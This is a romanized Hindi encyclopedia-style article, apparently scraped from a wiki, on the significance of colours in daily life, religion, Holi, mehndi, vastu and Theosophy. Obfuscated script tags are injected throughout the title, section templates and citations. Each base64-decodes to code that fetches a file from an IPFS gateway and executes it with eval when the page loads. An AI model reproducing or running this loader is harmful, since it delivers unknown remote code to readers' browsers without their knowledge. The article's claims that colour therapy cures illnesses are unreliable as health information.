रंगों का महत्त्व
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
rangoan ka mahattv
| |
| vivaran | rang ka hamare jivan mean bahut mahattv hai. rangoan se hamean vibhinn sthitiyoan ka pata chalata hai. ham apane charoan taraph anek prakar ke rangoan se prabhavit hote haian. |
| utpatti | rang, manavi aankhoan ke varnakram se milane par chhaya sambandhi gatividhiyoan se utpann hote haian. mool roop se iandradhanush ke sat rangoan ko hi rangoan ka janak mana jata hai, ye sat rang lal, narangi, pila, hara, asamani, nila tatha baiangani haian. |
| mukhy srot | rangoan ki utpatti ka sabase prakritik srot soory ka prakash hai. soory ke prakash se vibhinn prakar ke rangoan ki utpatti hoti hai. prizm ki sahayata se dekhane par pata chalata hai ki soory sat rang grahan karata hai jise sookshm roop ya aangrezi bhasha mean VIBGYOR aur hindi mean "baian ja ni h pi na la" kaha jata hai. |
| VIBGYOR | |
| rangoan ke prakar | prathamik rang (lal, nila aur hara), dvitiyak rang aur virodhi rang |
| sanbandhit lekh | iandradhanush, tarang dairdhy, varn vikshepan, apavartan, holi |
| any janakari | vishv ki sabhi bhashaoan mean rangoan ki vibhinn chhaviyoan ko bhinn nam pradan kie ge haian. lekin phir bhi rangoan ko kramabaddh nahian kiya ja saka. aangrezi bhasha mean kisi ek chhavi ke anekanek nam haian. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
rang athava varn ka hamare jivan mean bahut mahattv hai. rangoan se hamean vibhinn sthitiyoan ka pata chalata hai. mool roop se iandradhanush ke sat rangoan ko hi rangoan ka janak mana jata hai, ye sat rang lal, narangi, pila, hara, asamani, nila tatha baiangani haian.
rangoan ko dekhakar hi ham sthiti ke bare mean pata lagate haian. iandradhanush ke rangoan ki chhata hamare man ko bahut akarshit karata hai. ham rangoan ke bina apane jivan ki kalpana bhi nahian kar sakate haian. rangoan ke bina hamara jivan thik vaisa hi hai, jaise pran bina sharir. balyavastha mean bachche rangoan ki sahayata se hi vastuoan ko pahachanata hai. yuvak rangoan ke madhyam se hi sansar ka sarjan karata hai. vriddh ki kamazor aankhean rangoan ki sahayata se vastuoan ka nam prapt karati hai.
"prakriti ki sundarata avarnaniy hai aur isaki sundarata mean char chaand lagate hai ye rang. soory ki lalima ho ya khetoan ki hariyali, asaman ka nilapan ya meghoan ka kalapan, barish ke bad mean bikharati indradhanush ki anokhi chhata, barf ki safedi aur na jane kitane hi khoobasoorat nazare jo hamare aantarang atma ko praphullit karata hai. is anand ka raj hai rangoan ki anubhooti. manav jivan rangoan ke bina udas aur soona hai. mukhyat: sat rangoan ki is srishti mean har ek rang hamare jivan par asar chho data hai. koee rang hamean uttejit karata hai to koee rang pyar ke liye prerit karata hai. kuchh rang hamean shaanti ka ehasas karata hai to kuchh rang matam ka pratik hai. doosare shabdoan mean kah sakate hai ki hamare jivan par rang ka bahut asar hai. har ek rang alag-alag iansan par alag-alag tarike se andolit karata hai.[1]
dharmik mahattv
dharm mean rangoan ki maujoodagi ka khas uddeshy hai. rangoan ke vijnan ko samajhakar hi hamare rrishi-muniyoan ne dharm mean rangoan ka samavesh kiya hai. pooja ke sthan par rangoli banana kaladharmita ke sath rangoan ke manovijnan ko bhi pradarshit karata hai. kuankum, haldi, abir, gulal, meanhadi ke roop mean paanch rang har pooja mean shamil haian. dharm dhvajaoan ke rang, tilak ke rang, bhagavan ke vastroan ke rang bhi vishishth rakhe jate haian. taki dharm-karm ke samay ham un rangoan se prerit ho sakean aur hamare aandar un rangoan ke gun a sakean.
thumb|left|meanhadi
Mehndi
meanhadi
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
mehandi sharir ko sajane ki ek shrriangar samagri hai. ise hathoan, pairoan, bajuoan adi par lagaya jata hai. 1990 ke dashak se ye pashchimi deshoan mean bhi chalan mean aya hai. meanhadi ko hina bhi kaha jata hai. dharmik manyataoan ke anusar meanhadi ko lagana shubh mana jata haian. meanhadi ka istemal garmi mean thandak dene ke lie kiya jata hai. kuchh log visheshakar boodhe़ apane safed baloan mean meanhadi lagakar baloan ko sunahare banane ki koshish karate haian.
sat rashmiyaan
soory ki kiranoan mean sat rang haian. jinhean vedoan mean sat rashmiyaan kaha gaya hai:-
saptarashmiradhamath tamaansi.[2]
arthat soory ki sat rashmiyaan haian. soory ki in rashmiyoan ke sat rang haian- baiangani, nila, asamani, hara, pila, narangi aur lal. inhean tin bhagoan mean baanta gaya hai-
- gahara
- madhyam
- halka
is prakar sat gunit tin se 21 prakar ki kiranean ho jati haian. atharvaved mean kaha gaya hai-
ye trishapta: pariyanti vishva rupani bibhrat:.[3]
arthat yah 21 prakar ki kiranean sansar mean sabhi dishaoan mean phaili huee haian tatha inase hi sabhi rang-roop banate haian. vedoan ke anusar sansar mean dikhaee dene vale sabhi rang soory ki kiranoan ke karan hi dikhaee dete haian. soory ki kiranoan se milane vali rangoan ki oorja hamare manav sharir ko milean isake lie hi soory ko ardhy dene ka dharmik vidhan hai.[4] rangoan ka mahattv hamare jivan mean pauranik kal se hi raha hai. hamare devi-devataoan ko bhi kuchh khas rang vishesh priy haian. yahaan tak ki ye vishesh rangoan se pahachane bhi jate haian.[5]
| priy rang | devi-devata | mahattv |
|---|---|---|
| lal | lakshmi | maan lakshmi ko lal rang priy hai. lal rang hamean age badhane ki prerana deta hai. |
| pila | krishna | bhagavan krishna ko pitaanbaradhari bhi kahate haian, kyoanki ve pile rang ke vastroan se sushobhit rahate haian. |
| kala | shanidev | shanidev ko kala rang priy hai. kala rang tamas ka karak hai. |
| safed | brahma | brahma ke vastr safed haian, jo is bat ko pramanit karate haian ki brahm, yani eeshvar sabhi logoan ke prati saman bhav rakhate haian. |
| bhagava | sannyasi bhagava vastr pahanate haian. bhagava rang lal aur pile rang ka mishran hai. |
holi
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
rangoan ke mahattv mean sabase agrani nam holi ka ata hai. holi ko rangoan ka tyohar mana jata hai. holi vasant rritu mean manaya jane vala ek mahattvapoorn bharatiy tyohar hai. yah parv hindoo panchaang ke anusar phalgun mas ki poornima ko manaya jata hai. rangoan ka tyohar kaha jane vala yah parv paranparik roop se do din manaya jata hai. bharat mean rangoan ka tyohar holi sabase saras parv hai. holi ke din log matabhed bhulakar ek doosare ko rang lagate haian. rang mean ras hai. ras dhvani tatha sparsh mean hai. rang holi ka mukhy doot hai. holi ke mausam mean prakriti apane rangoan ka poora khazana khol deti hai. holi ke saanskritik parv mean purush-stri bhaura evan phool ban jate haian taki ras, rang evan holi milan ho sake aur ziandagi mean anand ki rasadhar poore sal bahati rahe. ek holi se doosari holi ke bich prakriti mean nityotsav chalate rahate haian. isako yajnotsav bhi kah sakate haian.[6]
- duleandi
holi ko rang divas ke roop mean manaya jata hai. is parv par kishor-kishoriyaan, vayask v vriddh sabhi ek-doosare par gulal barasate haian tatha pichakariyoan se gile rang lagate haian. paranparik roop se keval prakritik v j di-bootiyoan se nirmit rangoan ka prayog hota hai, parantu aj kal kritrim rangoan ne inaka sthan le liya hai. ajakal to log jis-kisi ke sath bhi shararat ya majak karana chahate haian. usi par rangile jhag v rangoan se bhare gubbare marate haian. prem se bhare yah - narangi, lal, hare, nile, baiangani tatha kale rang sabhi ke man se katuta v vaimanasy ko dho dete haian tatha samudayik mel-jol ko badhate haian. is din sabhi ke ghar pakavan v mishthan banate haian. log ek-doosare ke ghar jakar gale milate haian aur pakavan khate haian.
| 120px|holi, baladev | 120px|holi, barasana | 120px|holi, barasana | 120px|holi, baladev | 120px|holi, baladev | 120px|holi |
vastu mean rang ka mahattv
vastu mean rangoan ka bahut mahattv hai. shubh rang bhagyoday karak hote haian aur ashubh rang bhagy mean kami karate haian. vibhinn rangoan ko vastu ke vibhinn tattvoan ka pratik mana jata hai. nila rang jal ka, bhoora prithvi ka aur lal agni ka pratik hai. vastu aur pheangashuee mean bhi rangoan ko paanch tattvoan jal, agni, dhatu, prithvi aur kashth se jo da gaya hai. in paanchoan tatvoan ko alag-alag shakhaoan ke roop mean jana jata hai. in shakhaoan ko mukhyatah do prakaroan mean baanta jata hai:-
- ‘disha adharit shakhaean’
- ‘pravesh adharit shakhaean’
rang ka pratinidhitv
thumb|250px|bazar mean vibhinn rangoan ka drishy|left vastu disha adharit shakhaoan mean uttar disha hetu jal tattv ka pratinidhittv karane vale rang nile aur kale mane ge haian. dakshin disha hetu agni tattv ka pratinidhi kashth tattv hai jisaka rang hara aur baiangani hai. pravesh adharit shakha mean pravesh sada uttar se hi mana jata hai, bhale hi vastavik pravesh kahian se bhi ho. isalie log duvidha mean p d jate haian ki rangoan ka chayan vastu ke adhar par karean ya vastu aur pheangashuee ke anusar. yadi pheangashuee ka palan karana ho, to duvidha paida hoti hai ki rang ka disha ke anusar chayan karean ya pravesh dvar ke adhar par. duvidha se bachane ke lie vastu aur rang-chikitsa ki vidhi ke adhar par rangoan ka chayan karana chahie. rang chikitsa paddhati ka upayog kisi kaksh ke vishesh uddeshy aur kaksh ki disha par nirbhar karati haian. rang chikitsa paddhati ka adhar soory ke prakash ke sat rang haian. in rangoan mean bahut si bimariyoan ko door karane ki shakti hoti hai. is drishtikon se uttar poorvi kaksh, jise ghar ka sabase pavitr kaksh mana jata hai, mean saphed ya baiangani rang ka prayog karana chahie. dakshin-poorvi kaksh mean pile ya narangi rang ka prayog karana chahie, jabaki dakshin-pashchim kaksh mean bhoore ya pila mishrit rang prayog karana chahie. yadi bistar dakshin-poorvi disha mean ho, to kamare mean hare rang ka prayog karana chahie. uttar pashchim kaksh ke lie saphed rang ko chho dakar koee bhi rang chun sakate haian. sabhi rangoan ke apane sakaratmak aur nakaratmak prabhav haian. lal rang shakti, prasannata praphullata aur pyar ka protsahit karane vala rang hai. narangi rang rachanatmakata aur atmasamman ko badhata hai. pile rang ka sanbandh adhyatmikata aur karuna se hai. hara rang shitaladayak hai. nila rang shamak aur pi dahari hota hai. iandigo arogyadayak tatha kala shakti aur kam bhavana ka pratik hai.[7]
adhyatmik kshetr mean mahattv
adhyatmik kshetr mean rangoan ko sarvadhik mahattv 'thiyosophikal sosayati' ne diya hai. is sosayati ke anusar, manav sharir ke atirikt ek sookshm sharir bhi hota hai, jo charoan taraf andakriti chamakile dhuandh se ghira rahata hai. adhyatmik drishti se utpann hone se is andakriti mean vibhinn rang drishtigochar hote haian, jinake adhar par kisi sharir ke vishay mean vibhinn prakar ki janakari mil sakati hai. suprasiddh vaijnanikoan semyon aur velentina kiraliyan ne siddh kar dikhaya hai ki kuchh padarthoan ke asapas ek oorja kshetr vidyaman rahata hai.
| left|30px|link=rangoan ka mishran|pichhe jaean | rangoan ka mahattv | right|30px|link=rangoan ka prabhav|age jaean |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ devi, rekha. ap aur apaka shubh rang (ech ti em el) aank aur ap. abhigaman tithi: 21 julaee, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ rrigved 4-50-4
- ↑ atharvaved 1-1-1
- ↑ dharm se bhi ju da hai rangoan ka mahatv (hindi) (ech.ti.em.el.) dainik bhaskar. abhigaman tithi: 9 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ jiandal, mita. devataoan ke priy rang jagaran yahoo iandiya. abhigaman tithi: 28 sitambar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ sharma, d aau amit kumar. rang aur holi (hindi) (ech.ti.em.el) brand bihar. abhigaman tithi: 22 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vastu mean rang ka mahattv (hindi) pravasi duniya. abhigaman tithi: 13 march, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- rangoan se sanvare jivan
- rang ka arth
- rashiyoan ke mutabiq chunean kap doan ke rang
- bhagyashali rangoan se bharean ziandagi mean rang
- rang biranga khaean, shanadar sehat paean
- nile rang ka kamal
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>